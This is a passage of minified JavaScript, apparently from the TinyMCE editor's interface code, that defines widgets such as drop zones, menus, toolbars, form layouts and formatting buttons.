class="'+o+'colorpicker-selector2"></div></div></div></div></div>'+e+"</div>"}}),an=Wt.extend({init:function(e){e=w.extend({height:100,text:"Drop an image here",multiple:!1,accept:null},e),this._super(e),this.classes.add("dropzone"),e.multiple&&this.classes.add("multiple")},renderHtml:function(){var e,t,n=this.settings;return e={id:this._id,hidefocus:"1"},t=Ce.create("div",e,"<span>"+this.translate(n.text)+"</span>"),n.height&&Ce.css(t,"height",n.height+"px"),n.width&&Ce.css(t,"width",n.width+"px"),t.className=this.classes,t.outerHTML},postRender:function(){var i=this,e=function(e){e.preventDefault(),i.classes.toggle("dragenter"),i.getEl().className=i.classes};i._super(),i.$el.on("dragover",function(e){e.preventDefault()}),i.$el.on("dragenter",e),i.$el.on("dragleave",e),i.$el.on("drop",function(e){if(e.preventDefault(),!i.state.get("disabled")){var t=function(e){var t=i.settings.accept;if("string"!=typeof t)return e;var n=new RegExp("("+t.split(/\s*,\s*/).join("|")+")$","i");return w.grep(e,function(e){return n.test(e.name)})}(e.dataTransfer.files);i.value=function(){return t.length?i.settings.multiple?t:t[0]:null},t.length&&i.fire("change",e)}})},remove:function(){this.$el.off(),this._super()}}),ln=Wt.extend({init:function(e){var n=this;e.delimiter||(e.delimiter="\xbb"),n._super(e),n.classes.add("path"),n.canFocus=!0,n.on("click",function(e){var t;(t=e.target.getAttribute("data-index"))&&n.fire("select",{value:n.row()[t],index:t})}),n.row(n.settings.row)},focus:function(){return this.getEl().firstChild.focus(),this},row:function(e){return arguments.length?(this.state.set("row",e),this):this.state.get("row")},renderHtml:function(){return'<div id="'+this._id+'" class="'+this.classes+'">'+this._getDataPathHtml(this.state.get("row"))+"</div>"},bindStates:function(){var t=this;return t.state.on("change:row",function(e){t.innerHtml(t._getDataPathHtml(e.value))}),t._super()},_getDataPathHtml:function(e){var t,n,i=e||[],r="",o=this.classPrefix;for(t=0,n=i.length;t<n;t++)r+=(0<t?'<div class="'+o+'divider" aria-hidden="true"> '+this.settings.delimiter+" </div>":"")+'<div role="button" class="'+o+"path-item"+(t===n-1?" "+o+"last":"")+'" data-index="'+t+'" tabindex="-1" id="'+this._id+"-"+t+'" aria-level="'+(t+1)+'">'+i[t].name+"</div>";return r||(r='<div class="'+o+'path-item">\xa0</div>'),r}}),un=ln.extend({postRender:function(){var o=this,s=o.settings.editor;function a(e){if(1===e.nodeType){if("BR"===e.nodeName||e.getAttribute("data-mce-bogus"))return!0;if("bookmark"===e.getAttribute("data-mce-type"))return!0}return!1}return!1!==s.settings.elementpath&&(o.on("select",function(e){s.focus(),s.selection.select(this.row()[e.index].element),s.nodeChanged()}),s.on("nodeChange",function(e){for(var t=[],n=e.parents,i=n.length;i--;)if(1===n[i].nodeType&&!a(n[i])){var r=s.fire("ResolveName",{name:n[i].nodeName.toLowerCase(),target:n[i]});if(r.isDefaultPrevented()||t.push({name:r.name,element:n[i]}),r.isPropagationStopped())break}o.row(t)})),o._super()}}),cn=ct.extend({Defaults:{layout:"flex",align:"center",defaults:{flex:1}},renderHtml:function(){var e=this,t=e._layout,n=e.classPrefix;return e.classes.add("formitem"),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes+'" hidefocus="1" tabindex="-1">'+(e.settings.title?'<div id="'+e._id+'-title" class="'+n+'title">'+e.settings.title+"</div>":"")+'<div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"}}),dn=ct.extend({Defaults:{containerCls:"form",layout:"flex",direction:"column",align:"stretch",flex:1,padding:15,labelGap:30,spacing:10,callbacks:{submit:function(){this.submit()}}},preRender:function(){var i=this,e=i.items();i.settings.formItemDefaults||(i.settings.formItemDefaults={layout:"flex",autoResize:"overflow",defaults:{flex:1}}),e.each(function(e){var t,n=e.settings.label;n&&((t=new cn(w.extend({items:{type:"label",id:e._id+"-l",text:n,flex:0,forId:e._id,disabled:e.disabled()}},i.settings.formItemDefaults))).type="formitem",e.aria("labelledby",e._id+"-l"),"undefined"==typeof e.settings.flex&&(e.settings.flex=1),i.replace(e,t),t.add(e))})},submit:function(){return this.fire("submit",{data:this.toJSON()})},postRender:function(){this._super(),this.fromJSON(this.settings.data)},bindStates:function(){var n=this;function e(){var e,t,i=0,r=[];if(!1!==n.settings.labelGapCalc)for(("children"===n.settings.labelGapCalc?n.find("formitem"):n.items()).filter("formitem").each(function(e){var t=e.items()[0],n=t.getEl().clientWidth;i=i<n?n:i,r.push(t)}),t=n.settings.labelGap||0,e=r.length;e--;)r[e].settings.minWidth=i+t}n._super(),n.on("show",e),e()}}),fn=dn.extend({Defaults:{containerCls:"fieldset",layout:"flex",direction:"column",align:"stretch",flex:1,padding:"25 15 5 15",labelGap:30,spacing:10,border:1},renderHtml:function(){var e=this,t=e._layout,n=e.classPrefix;return e.preRender(),t.preRender(e),'<fieldset id="'+e._id+'" class="'+e.classes+'" hidefocus="1" tabindex="-1">'+(e.settings.title?'<legend id="'+e._id+'-title" class="'+n+'fieldset-title">'+e.settings.title+"</legend>":"")+'<div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></fieldset>"}}),hn=0,mn=function(e){if(null===e||e===undefined)throw new Error("Node cannot be null or undefined");return{dom:k(e)}},gn={fromHtml:function(e,t){var n=(t||document).createElement("div");if(n.innerHTML=e,!n.hasChildNodes()||1<n.childNodes.length)throw console.error("HTML does not have a single root node",e),"HTML must have a single root node";return mn(n.childNodes[0])},fromTag:function(e,t){var n=(t||document).createElement(e);return mn(n)},fromText:function(e,t){var n=(t||document).createTextNode(e);return mn(n)},fromDom:mn,fromPoint:function(e,t,n){var i=e.dom();return D.from(i.elementFromPoint(t,n)).map(mn)}},pn=function(n){var i,r=!1;return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return 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w.each(e,function(e){e.value===n?i=n:e.value===t&&(i=t)}),i},Bi=function(n){n.addButton("fontsizeselect",function(){var e,s,a,t=(e=n.settings.fontsize_formats||"8pt 10pt 12pt 14pt 18pt 24pt 36pt",w.map(e.split(" "),function(e){var t=e,n=e,i=e.split("=");return 1<i.length&&(t=i[0],n=i[1]),{text:t,value:n}}));return{type:"listbox",text:"Font Sizes",tooltip:"Font Sizes",values:t,fixedWidth:!0,onPostRender:(s=n,a=t,function(){var o=this;s.on("init nodeChange",function(e){var t,n,i,r;if(t=s.queryCommandValue("FontSize"))for(i=3;!r&&0<=i;i--)n=Oi(t,i),r=Ai(a,n,t);o.value(r||null),r||o.text(n)})}),onclick:function(e){e.control.settings.value&&n.execCommand("FontSize",!1,e.control.settings.value)}}})},Li=function(e){Bi(e)},Ii=function(n,e){var i=e.length;return w.each(e,function(e){e.menu&&(e.hidden=0===Ii(n,e.menu));var t=e.format;t&&(e.hidden=!n.formatter.canApply(t)),e.hidden&&i--}),i},zi=function(n,e){var i=e.items().length;return e.items().each(function(e){e.menu&&e.visible(0<zi(n,e.menu)),!e.menu&&e.settings.menu&&e.visible(0<Ii(n,e.settings.menu));var t=e.settings.format;t&&e.visible(n.formatter.canApply(t)),e.visible()||i--}),i},Fi=function(e){var i,r,o,t,s,n,a,l,u=(r=0,o=[],t=[{title:"Headings",items:[{title:"Heading 1",format:"h1"},{title:"Heading 2",format:"h2"},{title:"Heading 3",format:"h3"},{title:"Heading 4",format:"h4"},{title:"Heading 5",format:"h5"},{title:"Heading 6",format:"h6"}]},{title:"Inline",items:[{title:"Bold",icon:"bold",format:"bold"},{title:"Italic",icon:"italic",format:"italic"},{title:"Underline",icon:"underline",format:"underline"},{title:"Strikethrough",icon:"strikethrough",format:"strikethrough"},{title:"Superscript",icon:"superscript",format:"superscript"},{title:"Subscript",icon:"subscript",format:"subscript"},{title:"Code",icon:"code",format:"code"}]},{title:"Blocks",items:[{title:"Paragraph",format:"p"},{title:"Blockquote",format:"blockquote"},{title:"Div",format:"div"},{title:"Pre",format:"pre"}]},{title:"Alignment",items:[{title:"Left",icon:"alignleft",format:"alignleft"},{title:"Center",icon:"aligncenter",format:"aligncenter"},{title:"Right",icon:"alignright",format:"alignright"},{title:"Justify",icon:"alignjustify",format:"alignjustify"}]}],s=function(e){var i=[];if(e)return w.each(e,function(e){var t={text:e.title,icon:e.icon};if(e.items)t.menu=s(e.items);else{var n=e.format||"custom"+r++;e.format||(e.name=n,o.push(e)),t.format=n,t.cmd=e.cmd}i.push(t)}),i},(i=e).on("init",function(){w.each(o,function(e){i.formatter.register(e.name,e)})}),{type:"menu",items:i.settings.style_formats_merge?i.settings.style_formats?s(t.concat(i.settings.style_formats)):s(t):s(i.settings.style_formats||t),onPostRender:function(e){i.fire("renderFormatsMenu",{control:e.control})},itemDefaults:{preview:!0,textStyle:function(){if(this.settings.format)return i.formatter.getCssText(this.settings.format)},onPostRender:function(){var n=this;n.parent().on("show",function(){var e,t;(e=n.settings.format)&&(n.disabled(!i.formatter.canApply(e)),n.active(i.formatter.match(e))),(t=n.settings.cmd)&&n.active(i.queryCommandState(t))})},onclick:function(){this.settings.format&&Ti(i,this.settings.format)(),this.settings.cmd&&i.execCommand(this.settings.cmd)}}});n=u,e.addMenuItem("formats",{text:"Formats",menu:n}),l=u,(a=e).addButton("styleselect",{type:"menubutton",text:"Formats",menu:l,onShowMenu:function(){a.settings.style_formats_autohide&&zi(a,this.menu)}})},Ui=function(n,e){return function(){var r,o,s,t=[];return w.each(e,function(e){t.push({text:e[0],value:e[1],textStyle:function(){return n.formatter.getCssText(e[1])}})}),{type:"listbox",text:e[0][0],values:t,fixedWidth:!0,onselect:function(e){if(e.control){var t=e.control.value();Ti(n,t)()}},onPostRender:(r=n,o=t,function(){var t=this;r.on("nodeChange",function(e){var n=r.formatter,i=null;w.each(e.parents,function(t){if(w.each(o,function(e){if(s?n.matchNode(t,s,{value:e.value})&&(i=e.value):n.matchNode(t,e.value)&&(i=e.value),i)return!1}),i)return!1}),t.value(i)})})}}},Vi=function(e){var t,n,i=function(e){for(var t=(e=e.replace(/;$/,"").split(";")).length;t--;)e[t]=e[t].split("=");return e}(e.settings.block_formats||"Paragraph=p;Heading 1=h1;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre");e.addMenuItem("blockformats",{text:"Blocks",menu:(t=e,n=i,w.map(n,function(e){return{text:e[0],onclick:Ti(t,e[1]),textStyle:function(){return t.formatter.getCssText(e[1])}}}))}),e.addButton("formatselect",Ui(e,i))},Yi=function(t,e){var n,i;if("string"==typeof e)i=e.split(" ");else if(w.isArray(e))return function(e){for(var t=[],n=0,i=e.length;n<i;++n){if(!Array.prototype.isPrototypeOf(e[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+e);te.apply(t,e[n])}return t}(w.map(e,function(e){return Yi(t,e)}));return n=w.grep(i,function(e){return"|"===e||e in t.menuItems}),w.map(n,function(e){return"|"===e?{text:"-"}:t.menuItems[e]})},$i=function(e){return e&&"-"===e.text},Xi=function(e){var t=K(e,function(e,t,n){return!$i(e)||!$i(n[t-1])});return K(t,function(e,t,n){return!$i(e)||0<t&&t<n.length-1})},qi=function(e){var t,n,i,r,o=e.settings.insert_button_items;return Xi(o?Yi(e,o):(t=e,n="insert",i=[{text:"-"}],r=w.grep(t.menuItems,function(e){return e.context===n}),w.each(r,function(e){"before"===e.separator&&i.push({text:"|"}),e.prependToContext?i.unshift(e):i.push(e),"after"===e.separator&&i.push({text:"|"})}),i))},ji=function(e){var t;(t=e).addButton("insert",{type:"menubutton",icon:"insert",menu:[],oncreatemenu:function(){this.menu.add(qi(t)),this.menu.renderNew()}})},Ji=function(e){var n,i,r;n=e,w.each({bold:"Bold",italic:"Italic",underline:"Underline",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript"},function(e,t){n.addButton(t,{active:!1,tooltip:e,onPostRender:Si(n,t),onclick:Ti(n,t)})}),i=e,w.each({outdent:["Decrease indent","Outdent"],indent:["Increase indent","Indent"],cut:["Cut","Cut"],copy:["Copy","Copy"],paste:["Paste","Paste"],help:["Help","mceHelp"],selectall:["Select all","SelectAll"],visualaid:["Visual aids","mceToggleVisualAid"],newdocument:["New document","mceNewDocument"],removeformat:["Clear formatting","RemoveFormat"],remove:["Remove","Delete"]},function(e,t){i.addButton(t,{tooltip:e[0],cmd:e[1]})}),r=e,w.each({blockquote:["Blockquote","mceBlockQuote"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"]},function(e,t){r.addButton(t,{active:!1,tooltip:e[0],cmd:e[1],onPostRender:Si(r,t)})})},Gi=function(e){var n;Ji(e),n=e,w.each({bold:["Bold","Bold","Meta+B"],italic:["Italic","Italic","Meta+I"],underline:["Underline","Underline","Meta+U"],strikethrough:["Strikethrough","Strikethrough"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"],removeformat:["Clear formatting","RemoveFormat"],newdocument:["New document","mceNewDocument"],cut:["Cut","Cut","Meta+X"],copy:["Copy","Copy","Meta+C"],paste:["Paste","Paste","Meta+V"],selectall:["Select all","SelectAll","Meta+A"]},function(e,t){n.addMenuItem(t,{text:e[0],icon:t,shortcut:e[2],cmd:e[1]})}),n.addMenuItem("codeformat",{text:"Code",icon:"code",onclick:Ti(n,"code")})},Ki=function(n,i){return function(){var e=this,t=function(){var e="redo"===i?"hasRedo":"hasUndo";return!!n.undoManager&&n.undoManager[e]()};e.disabled(!t()),n.on("Undo Redo AddUndo TypingUndo ClearUndos SwitchMode",function(){e.disabled(n.readonly||!t())})}},Zi=function(e){var t,n;(t=e).addMenuItem("undo",{text:"Undo",icon:"undo",shortcut:"Meta+Z",onPostRender:Ki(t,"undo"),cmd:"undo"}),t.addMenuItem("redo",{text:"Redo",icon:"redo",shortcut:"Meta+Y",onPostRender:Ki(t,"redo"),cmd:"redo"}),(n=e).addButton("undo",{tooltip:"Undo",onPostRender:Ki(n,"undo"),cmd:"undo"}),n.addButton("redo",{tooltip:"Redo",onPostRender:Ki(n,"redo"),cmd:"redo"})},Qi=function(e){var t,n;(t=e).addMenuItem("visualaid",{text:"Visual aids",selectable:!0,onPostRender:(n=t,function(){var t=this;n.on("VisualAid",function(e){t.active(e.hasVisual)}),t.active(n.hasVisual)}),cmd:"mceToggleVisualAid"})},er={setup:function(e){var t;e.rtl&&(st.rtl=!0),e.on("mousedown",function(){kt.hideAll()}),(t=e).settings.ui_container&&(fe.container=ki(gn.fromDom(document.body),t.settings.ui_container).fold(k(null),function(e){return e.dom()})),Wt.tooltips=!fe.iOS,st.translate=function(e){return h.translate(e)},Vi(e),Mi(e),Gi(e),Zi(e),Li(e),Wi(e),Fi(e),Qi(e),ji(e)}},tr=qt.extend({recalc:function(e){var t,n,i,r,o,s,a,l,u,c,d,f,h,m,g,p,v,b,y,x,w,_,C,R,E,k,T,H,S=[],M=[];t=e.settings,r=e.items().filter(":visible"),o=e.layoutRect(),i=t.columns||Math.ceil(Math.sqrt(r.length)),n=Math.ceil(r.length/i),b=t.spacingH||t.spacing||0,y=t.spacingV||t.spacing||0,x=t.alignH||t.align,w=t.alignV||t.align,p=e.paddingBox,H="reverseRows"in t?t.reverseRows:e.isRtl(),x&&"string"==typeof x&&(x=[x]),w&&"string"==typeof w&&(w=[w]);for(d=0;d<i;d++)S.push(0);for(f=0;f<n;f++)M.push(0);for(f=0;f<n;f++)for(d=0;d<i&&(c=r[f*i+d]);d++)R=(u=c.layoutRect()).minW,E=u.minH,S[d]=R>S[d]?R:S[d],M[f]=E>M[f]?E:M[f];for(k=o.innerW-p.left-p.right,d=_=0;d<i;d++)_+=S[d]+(0<d?b:0),k-=(0<d?b:0)+S[d];for(T=o.innerH-p.top-p.bottom,f=C=0;f<n;f++)C+=M[f]+(0<f?y:0),T-=(0<f?y:0)+M[f];if(_+=p.left+p.right,C+=p.top+p.bottom,(l={}).minW=_+(o.w-o.innerW),l.minH=C+(o.h-o.innerH),l.contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH,l.minW=Math.min(l.minW,o.maxW),l.minH=Math.min(l.minH,o.maxH),l.minW=Math.max(l.minW,o.startMinWidth),l.minH=Math.max(l.minH,o.startMinHeight),!o.autoResize||l.minW===o.minW&&l.minH===o.minH){var N;o.autoResize&&((l=e.layoutRect(l)).contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH),N="start"===t.packV?0:0<T?Math.floor(T/n):0;var P=0,D=t.flexWidths;if(D)for(d=0;d<D.length;d++)P+=D[d];else P=i;var W=k/P;for(d=0;d<i;d++)S[d]+=D?D[d]*W:W;for(m=p.top,f=0;f<n;f++){for(h=p.left,a=M[f]+N,d=0;d<i&&(c=r[H?f*i+i-1-d:f*i+d]);d++)g=c.settings,u=c.layoutRect(),s=Math.max(S[d],u.startMinWidth),u.x=h,u.y=m,"center"===(v=g.alignH||(x?x[d]||x[0]:null))?u.x=h+s/2-u.w/2:"right"===v?u.x=h+s-u.w:"stretch"===v&&(u.w=s),"center"===(v=g.alignV||(w?w[d]||w[0]:null))?u.y=m+a/2-u.h/2:"bottom"===v?u.y=m+a-u.h:"stretch"===v&&(u.h=a),c.layoutRect(u),h+=s+b,c.recalc&&c.recalc();m+=a+y}}else if(l.w=l.minW,l.h=l.minH,e.layoutRect(l),this.recalc(e),null===e._lastRect){var O=e.parent();O&&(O._lastRect=null,O.recalc())}}}),nr=Wt.extend({renderHtml:function(){var e=this;return e.classes.add("iframe"),e.canFocus=!1,'<iframe id="'+e._id+'" class="'+e.classes+'" tabindex="-1" src="'+(e.settings.url||"javascript:''")+'" frameborder="0"></iframe>'},src:function(e){this.getEl().src=e},html:function(e,t){var n=this,i=this.getEl().contentWindow.document.body;return i?(i.innerHTML=e,t&&t()):u.setTimeout(function(){n.html(e)}),this}}),ir=Wt.extend({init:function(e){this._super(e),this.classes.add("widget").add("infobox"),this.canFocus=!1},severity:function(e){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(e)},help:function(e){this.state.set("help",e)},renderHtml:function(){var e=this,t=e.classPrefix;return'<div id="'+e._id+'" class="'+e.classes+'"><div id="'+e._id+'-body">'+e.encode(e.state.get("text"))+'<button role="button" tabindex="-1"><i class="'+t+"ico "+t+'i-help"></i></button></div></div>'},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.getEl("body").firstChild.data=t.encode(e.value),t.state.get("rendered")&&t.updateLayoutRect()}),t.state.on("change:help",function(e){t.classes.toggle("has-help",e.value),t.state.get("rendered")&&t.updateLayoutRect()}),t._super()}}),rr=Wt.extend({init:function(e){var t=this;t._super(e),t.classes.add("widget").add("label"),t.canFocus=!1,e.multiline&&t.classes.add("autoscroll"),e.strong&&t.classes.add("strong")},initLayoutRect:function(){var e=this,t=e._super();return e.settings.multiline&&(Ce.getSize(e.getEl()).width>t.maxW&&(t.minW=t.maxW,e.classes.add("multiline")),e.getEl().style.width=t.minW+"px",t.startMinH=t.h=t.minH=Math.min(t.maxH,Ce.getSize(e.getEl()).height)),t},repaint:function(){return this.settings.multiline||(this.getEl().style.lineHeight=this.layoutRect().h+"px"),this._super()},severity:function(e){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(e)},renderHtml:function(){var e,t,n=this,i=n.settings.forId,r=n.settings.html?n.settings.html:n.encode(n.state.get("text"));return!i&&(t=n.settings.forName)&&(e=n.getRoot().find("#"+t)[0])&&(i=e._id),i?'<label id="'+n._id+'" class="'+n.classes+'"'+(i?' for="'+i+'"':"")+">"+r+"</label>":'<span id="'+n._id+'" class="'+n.classes+'">'+r+"</span>"},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.innerHtml(t.encode(e.value)),t.state.get("rendered")&&t.updateLayoutRect()}),t._super()}}),or=ct.extend({Defaults:{role:"toolbar",layout:"flow"},init:function(e){this._super(e),this.classes.add("toolbar")},postRender:function(){return this.items().each(function(e){e.classes.add("toolbar-item")}),this._super()}}),sr=or.extend({Defaults:{role:"menubar",containerCls:"menubar",ariaRoot:!0,defaults:{type:"menubutton"}}}),ar=jt.extend({init:function(e){var t=this;t._renderOpen=!0,t._super(e),e=t.settings,t.classes.add("menubtn"),e.fixedWidth&&t.classes.add("fixed-width"),t.aria("haspopup",!0),t.state.set("menu",e.menu||t.render())},showMenu:function(e){var t,n=this;if(n.menu&&n.menu.visible()&&!1!==e)return n.hideMenu();n.menu||(t=n.state.get("menu")||[],n.classes.add("opened"),t.length?t={type:"menu",animate:!0,items:t}:(t.type=t.type||"menu",t.animate=!0),t.renderTo?n.menu=t.parent(n).show().renderTo():n.menu=b.create(t).parent(n).renderTo(),n.fire("createmenu"),n.menu.reflow(),n.menu.on("cancel",function(e){e.control.parent()===n.menu&&(e.stopPropagation(),n.focus(),n.hideMenu())}),n.menu.on("select",function(){n.focus()}),n.menu.on("show hide",function(e){e.control===n.menu&&(n.activeMenu("show"===e.type),n.classes.toggle("opened","show"===e.type)),n.aria("expanded","show"===e.type)}).fire("show")),n.menu.show(),n.menu.layoutRect({w:n.layoutRect().w}),n.menu.repaint(),n.menu.moveRel(n.getEl(),n.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"]),n.fire("showmenu")},hideMenu:function(){this.menu&&(this.menu.items().each(function(e){e.hideMenu&&e.hideMenu()}),this.menu.hide())},activeMenu:function(e){this.classes.toggle("active",e)},renderHtml:function(){var e,t=this,n=t._id,i=t.classPrefix,r=t.settings.icon,o=t.state.get("text"),s="";return(e=t.settings.image)?(r="none","string"!=typeof e&&(e=window.getSelection?e[0]:e[1]),e=" style=\"background-image: url('"+e+"')\""):e="",o&&(t.classes.add("btn-has-text"),s='<span class="'+i+'txt">'+t.encode(o)+"</span>"),r=t.settings.icon?i+"ico "+i+"i-"+r:"",t.aria("role",t.parent()instanceof sr?"menuitem":"button"),'<div id="'+n+'" class="'+t.classes+'" tabindex="-1" aria-labelledby="'+n+'"><button id="'+n+'-open" role="presentation" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+e+"></i>":"")+s+' <i class="'+i+'caret"></i></button></div>'},postRender:function(){var r=this;return r.on("click",function(e){e.control===r&&function(e,t){for(;e;){if(t===e)return!0;e=e.parentNode}return!1}(e.target,r.getEl())&&(r.focus(),r.showMenu(!e.aria),e.aria&&r.menu.items().filter(":visible")[0].focus())}),r.on("mouseenter",function(e){var t,n=e.control,i=r.parent();n&&i&&n instanceof ar&&n.parent()===i&&(i.items().filter("MenuButton").each(function(e){e.hideMenu&&e!==n&&(e.menu&&e.menu.visible()&&(t=!0),e.hideMenu())}),t&&(n.focus(),n.showMenu()))}),r._super()},bindStates:function(){var e=this;return e.state.on("change:menu",function(){e.menu&&e.menu.remove(),e.menu=null}),e._super()},remove:function(){this._super(),this.menu&&this.menu.remove()}}),lr=kt.extend({Defaults:{defaultType:"menuitem",border:1,layout:"stack",role:"application",bodyRole:"menu",ariaRoot:!0},init:function(e){if(e.autohide=!0,e.constrainToViewport=!0,"function"==typeof e.items&&(e.itemsFactory=e.items,e.items=[]),e.itemDefaults)for(var t=e.items,n=t.length;n--;)t[n]=w.extend({},e.itemDefaults,t[n]);this._super(e),this.classes.add("menu"),e.animate&&11!==fe.ie&&this.classes.add("animate")},repaint:function(){return this.classes.toggle("menu-align",!0),this._super(),this.getEl().style.height="",this.getEl("body").style.height="",this},cancel:function(){this.hideAll(),this.fire("select")},load:function(){var t,n=this;function i(){n.throbber&&(n.throbber.hide(),n.throbber=null)}n.settings.itemsFactory&&(n.throbber||(n.throbber=new Mt(n.getEl("body"),!0),0===n.items().length?(n.throbber.show(),n.fire("loading")):n.throbber.show(100,function(){n.items().remove(),n.fire("loading")}),n.on("hide close",i)),n.requestTime=t=(new Date).getTime(),n.settings.itemsFactory(function(e){0!==e.length?n.requestTime===t&&(n.getEl().style.width="",n.getEl("body").style.width="",i(),n.items().remove(),n.getEl("body").innerHTML="",n.add(e),n.renderNew(),n.fire("loaded")):n.hide()}))},hideAll:function(){return this.find("menuitem").exec("hideMenu"),this._super()},preRender:function(){var n=this;return n.items().each(function(e){var t=e.settings;if(t.icon||t.image||t.selectable)return!(n._hasIcons=!0)}),n.settings.itemsFactory&&n.on("postrender",function(){n.settings.itemsFactory&&n.load()}),n.on("show hide",function(e){e.control===n&&("show"===e.type?u.setTimeout(function(){n.classes.add("in")},0):n.classes.remove("in"))}),n._super()}}),ur=ar.extend({init:function(i){var t,r,o,n,s=this;s._super(i),i=s.settings,s._values=t=i.values,t&&("undefined"!=typeof i.value&&function e(t){for(var n=0;n<t.length;n++){if(r=t[n].selected||i.value===t[n].value)return o=o||t[n].text,s.state.set("value",t[n].value),!0;if(t[n].menu&&e(t[n].menu))return!0}}(t),!r&&0<t.length&&(o=t[0].text,s.state.set("value",t[0].value)),s.state.set("menu",t)),s.state.set("text",i.text||o),s.classes.add("listbox"),s.on("select",function(e){var t=e.control;n&&(e.lastControl=n),i.multiple?t.active(!t.active()):s.value(e.control.value()),n=t})},value:function(t){return 0===arguments.length?this.state.get("value"):(void 0===t||(this.settings.values?0<w.grep(this.settings.values,function(e){return e.value===t}).length?this.state.set("value",t):null===t&&this.state.set("value",null):this.state.set("value",t)),this)},bindStates:function(){var i=this;return i.on("show",function(e){var t,n;t=e.control,n=i.value(),t instanceof lr&&t.items().each(function(e){e.hasMenus()||e.active(e.value()===n)})}),i.state.on("change:value",function(t){var n=function e(t,n){var i;if(t)for(var r=0;r<t.length;r++){if(t[r].value===n)return t[r];if(t[r].menu&&(i=e(t[r].menu,n)))return i}}(i.state.get("menu"),t.value);n?i.text(n.text):i.text(i.settings.text)}),i._super()}}),cr=Wt.extend({Defaults:{border:0,role:"menuitem"},init:function(e){var t,n=this;n._super(e),e=n.settings,n.classes.add("menu-item"),e.menu&&n.classes.add("menu-item-expand"),e.preview&&n.classes.add("menu-item-preview"),"-"!==(t=n.state.get("text"))&&"|"!==t||(n.classes.add("menu-item-sep"),n.aria("role","separator"),n.state.set("text","-")),e.selectable&&(n.aria("role","menuitemcheckbox"),n.classes.add("menu-item-checkbox"),e.icon="selected"),e.preview||e.selectable||n.classes.add("menu-item-normal"),n.on("mousedown",function(e){e.preventDefault()}),e.menu&&!e.ariaHideMenu&&n.aria("haspopup",!0)},hasMenus:function(){return!!this.settings.menu},showMenu:function(){var t,n=this,e=n.settings,i=n.parent();if(i.items().each(function(e){e!==n&&e.hideMenu()}),e.menu){(t=n.menu)?t.show():((t=e.menu).length?t={type:"menu",items:t}:t.type=t.type||"menu",i.settings.itemDefaults&&(t.itemDefaults=i.settings.itemDefaults),(t=n.menu=b.create(t).parent(n).renderTo()).reflow(),t.on("cancel",function(e){e.stopPropagation(),n.focus(),t.hide()}),t.on("show hide",function(e){e.control.items&&e.control.items().each(function(e){e.active(e.settings.selected)})}).fire("show"),t.on("hide",function(e){e.control===t&&n.classes.remove("selected")}),t.submenu=!0),t._parentMenu=i,t.classes.add("menu-sub");var r=t.testMoveRel(n.getEl(),n.isRtl()?["tl-tr","bl-br","tr-tl","br-bl"]:["tr-tl","br-bl","tl-tr","bl-br"]);t.moveRel(n.getEl(),r),r="menu-sub-"+(t.rel=r),t.classes.remove(t._lastRel).add(r),t._lastRel=r,n.classes.add("selected"),n.aria("expanded",!0)}},hideMenu:function(){var e=this;return e.menu&&(e.menu.items().each(function(e){e.hideMenu&&e.hideMenu()}),e.menu.hide(),e.aria("expanded",!1)),e},renderHtml:function(){var e,t=this,n=t._id,i=t.settings,r=t.classPrefix,o=t.state.get("text"),s=t.settings.icon,a="",l=i.shortcut,u=t.encode(i.url);function c(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function d(e){var t=i.match||"";return t?e.replace(new RegExp(c(t),"gi"),function(e){return"!mce~match["+e+"]mce~match!"}):e}function f(e){return e.replace(new RegExp(c("!mce~match["),"g"),"<b>").replace(new RegExp(c("]mce~match!"),"g"),"</b>")}return s&&t.parent().classes.add("menu-has-icons"),i.image&&(a=" style=\"background-image: url('"+i.image+"')\""),l&&(l=function(e){var t,n,i={};for(i=fe.mac?{alt:"&#x2325;",ctrl:"&#x2318;",shift:"&#x21E7;",meta:"&#x2318;"}:{meta:"Ctrl"},e=e.split("+"),t=0;t<e.length;t++)(n=i[e[t].toLowerCase()])&&(e[t]=n);return e.join("+")}(l)),s=r+"ico "+r+"i-"+(t.settings.icon||"none"),e="-"!==o?'<i class="'+s+'"'+a+"></i>\xa0":"",o=f(t.encode(d(o))),u=f(t.encode(d(u))),'<div id="'+n+'" class="'+t.classes+'" tabindex="-1">'+e+("-"!==o?'<span id="'+n+'-text" class="'+r+'text">'+o+"</span>":"")+(l?'<div id="'+n+'-shortcut" class="'+r+'menu-shortcut">'+l+"</div>":"")+(i.menu?'<div class="'+r+'caret"></div>':"")+(u?'<div class="'+r+'menu-item-link">'+u+"</div>":"")+"</div>"},postRender:function(){var t=this,n=t.settings,e=n.textStyle;if("function"==typeof e&&(e=e.call(this)),e){var i=t.getEl("text");i&&(i.setAttribute("style",e),t._textStyle=e)}return t.on("mouseenter click",function(e){e.control===t&&(n.menu||"click"!==e.type?(t.showMenu(),e.aria&&t.menu.focus(!0)):(t.fire("select"),u.requestAnimationFrame(function(){t.parent().hideAll()})))}),t._super(),t},hover:function(){return this.parent().items().each(function(e){e.classes.remove("selected")}),this.classes.toggle("selected",!0),this},active:function(e){return function(e,t){var n=e._textStyle;if(n){var i=e.getEl("text");i.setAttribute("style",n),t&&(i.style.color="",i.style.backgroundColor="")}}(this,e),void 0!==e&&this.aria("checked",e),this._super(e)},remove:function(){this._super(),this.menu&&this.menu.remove()}}),dr=Kt.extend({Defaults:{classes:"radio",role:"radio"}}),fr=Wt.extend({renderHtml:function(){var e=this,t=e.classPrefix;return 